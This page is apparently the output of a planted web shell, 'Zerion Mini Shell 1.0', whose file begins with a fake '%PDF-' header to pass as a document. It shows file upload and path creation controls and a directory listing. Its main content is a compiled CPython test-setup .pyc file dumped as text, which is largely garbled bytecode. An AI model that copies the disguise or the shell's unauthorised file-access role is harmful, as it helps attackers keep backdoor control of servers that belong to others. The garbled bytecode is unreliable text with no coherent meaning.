%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/test/libregrtest/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/test/libregrtest/__pycache__/setup.cpython-38.pyc

U

oat@svddlZddlZddlZddlZddlZddlZddlmZzddlZWne	k
r`dZYnXddZ
ddZdS)N)supportc	Csztj}Wnttfk
r*d}YnZXtjd|dg}ttdrT|	tj
ttdrj|	tj|D]}tj|d|dqnt
ttj|jrtjdtj|jtjD]P}t|drt|jD]\}}tj||j|<qt|ddrtj|j|_q|jr d	tj_|j dk	r8t!|j |j"dk	rPt#$|j"t%|j&od|j&d
k|j't_'ttdrdd
}t(|dS)NT)Zall_threadsfileSIGALRMSIGUSR1)chainrr__path____file__FaddaudithookcSsdSN)nameargsrr2/usr/local/lib/python3.8/test/libregrtest/setup.py_test_audit_hookLsz%setup_tests.<locals>._test_audit_hook))sys
__stderr__fileno
ValueErrorAttributeErrorfaulthandlerenablehasattrsignalappendrrregisterreplace_stdoutrZrecord_original_stdoutstdoutZtestdirpathinsertosabspathmodulesvalues	enumeratergetattrrZ
huntrleaksunittestZ
BaseTestSuite_cleanupmemlimitZset_memlimitZ	thresholdgcZ
set_thresholdZsuppress_msvcrt_assertsverboseZ
use_resourcesr
)nsZ	stderr_fdZsignalssignummoduleindexrrrrrsetup_testssB



r/cs\tjz}Wntk
r(YdSXt|djddddt_fdd}t|dS)	zSet stdout encoder error handler to backslashreplace (as stderr error
    handler) to avoid UnicodeEncodeError when printing a tracebackNwbackslashreplaceF
)encodingerrorsclosefdnewlinecstjt_dSr)rrcloserrrrrestore_stdoutes
z&replace_stdout.<locals>.restore_stdout)rrrropenr3atexitr)fdr9rr8rrQsr)r;rr rrr&testrr)ImportErrorr/rrrrr<module>s
C

Zerion Mini Shell 1.0